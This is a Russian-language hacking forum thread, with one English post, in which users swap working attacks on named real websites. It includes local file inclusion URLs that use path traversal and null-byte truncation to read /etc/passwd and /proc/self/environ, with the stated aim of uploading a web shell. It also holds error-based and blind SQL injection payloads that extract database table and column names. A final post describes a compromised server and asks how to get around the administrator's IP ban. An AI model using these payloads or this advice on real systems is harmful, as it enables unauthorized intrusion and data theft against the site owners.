Спасибо! Если можно, то объясните что значат всякие буквы после proc? Насколько помню, там хранятся логи, которые постоянно обновляются. И кстати, как можно обойти эту расчлененку? Режутся слеши и нулевой байт. http://shop.ego-dom.ru/index.php?option=com_ckforms&view=ckforms&id=17&Itemid=30&controller=../../../../../../../../../etc/passwd
Я бы с удовольствием объяснил, но из меня никудышный педагог Я могу накидать вам список статей по локальному PHP инклуду в личку, если понадобится, но вообще это все легко гуглится по запросу "/proc/self/environ инклуд", и уже на первой странице выдачи вы найдете всю информацию. Удачи.
После /proc это не логи и ничего похожего на них. В ряде unix систем /proc - это виртуальная файловая система представляющая собой интерфейс для динамической работы с ядром.
А как обойти это расчленение? http://shop.ego-dom.ru/index.php?option=com_ckforms&view=ckforms&id=17&Itemid=30&controller=../../../../../../../../../etc/passwd
Попробуйте поискать уязвимости в других скриптах этого сайта. Может статься так, что какой-либо фильтр не дает произвести требуемую операцию. Так-же можно попробовать переопределение переменных в случае register_globals On. Но так как там хостинг, то последний вариант маловероятен.
Я сегодня первый раз lfi решил использовать в деле, поэтому много камней мне попадается. Вот например, если запрос с %00 на конце, то подставляется .php, а если %000, то .php не подставляется, но и ошибка вылетает... http://www.vash-polis.org/index.php?option=com_ckforms&view=ckforms&id=2&Itemid=32&controller=../../../../../../../../../proc/self/environ%00 http://www.vash-polis.org/index.php?option=com_ckforms&view=ckforms&id=2&Itemid=32&controller=../../../../../../../../../proc/self/environ%000
Вы углубляетесь в детали После успешно проведенной атаки и заливки шелла(я нисколько не сомневаюсь, чтобы потом уведомить админов уязвимого ресурса о бреши в их защите ), многие вопросы отпадут сами собой - практика лучше всего. Что касается вашего вопроса про %00 - просто примите это как данность. Нулл-байт(ядовитый нуль, 0x00) пришел из мира C/C++ и означает конец строки.
Да действительно. Фильтр очень ограниченный и явно самопальный работает. Не происходит подстановка в варианте с %000 потому что фильтр не воспринимает как null-byte. Вообще ,в данном случае ,редкая криворукость программиста играет нам на руку. Так как %000 обрабатывается php как %00 и усечение все-же происходит. Ошибку выдает потому, что нет прав на виртуальную файловую систему. Но запрос вида http://www.vash-polis.org/index.php?option=com_ckforms&view=ckforms&id=2&Itemid=32&controller=../../../../../../../../../etc/passwd%000 успешно отображает passwd.
Причем тут фильтр? Там банально идет trim(), который убирает нульбайт, если он идет в конце строки, поэтому правильнее всегда после нульбайта подставлять символ какой-нибудь. Фильтры, ага. =\
А использование trim внутри php кода не является образно говоря фильтром? Термин фильтр понятие обобщающее , описывающе достаточно большой перечень методов и реализаций. Если я делаю trim() - я фильтрую(убираю) то что мне надо, те использую фильтр. К тому же не факт ,что там только или именно trim. Поэтому упрекать меня в неточности в данном случае неправильно. Или имеется иная аргументация?
I am not getting something here. Code: http://www.hdtvmagazine.com/programming/broadcast-market.php?dma_name=1+order+by+100+--+ Nothing works, maybe there is no cheekbones.
Code: http://www.hdtvmagazine.com/programming/broadcast-market.php?dma_name=1')+and(select+1+from(select+count(*),concat((select+table_name+from+information_schema.tables+limit+1,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)--+j Code: Error 1062: Duplicate entry 'COLLATIONS1' for key 1
http://lineoutdoor.ru/portfolio/list/type/-2' Определил имя базы b50893 блинд. подобрал таблицу portfolio так: http://lineoutdoor.ru/portfolio/list/type/-2'+or+1=(substring((select+table_name+from+information_schema.tables+where+table_schema=char(98,53,48,56,57,51)+limit+0,1),A,1)=char(X))+--+s Перебирая номер буквы A и аски код X Пытаюсь получить имена столбцов, но никак не выходит. Как быть дальше?
Что делать если при обращении к proc/self/environ вылетает ошибка, что файл не найден, а при обращении к etc/passwd выводится файл? Кстати, путь имеет такой вид: /www/apache/domains Тут можно где-то найти логи?
читать статьи =\ возможно прав не хватает, возможно это не Linux,а что то из семейства bsd, и еще куча чего дальше буду стереть подобные посты
Error-based : http://lineoutdoor.ru/portfolio/list/type/1112'+or+1+group+by+concat(%20(select+column_name+from+information_schema.columns+where+table_name+like+'Portfolio'+limit+0,1),floor(rand(0)*2))%20having%20min(0)--+
Вопрос мой конечно не по уязвимостям, но писать больше некуда. Значится, поимел я сайт, радмин, дедик, шелл - все как полагается. Злой админ конешн со мной изрядно боролся, но ничего у него не выходило(ламер редкостный ) Вы спросите почему я не захватил полностью дедик и не удалил всех к чертям? Да просто мне это не нужно совсем, пусть живут. Я так думал, пока я сегодня получил от хрома отказ зайти на сайт. Захожу на дедик - также. Чекаю через прокси - все работает. Ясен пень что меня забанили, да еще как искусно! По подсети! Работать под своим реальным ip не очень то и хочется(носки использую). Носки добывать новые тоже не очень вариант. Подскажите как мне быстренько восстановить доступ. От чего это зависит от сервера или от конфига на сайте? Если на сервере то что и где там прописано, чтобы я не заходил? Сервер Windows NT, через прокси могу заходить на шелл, ну и сразу на комп соответсвенно.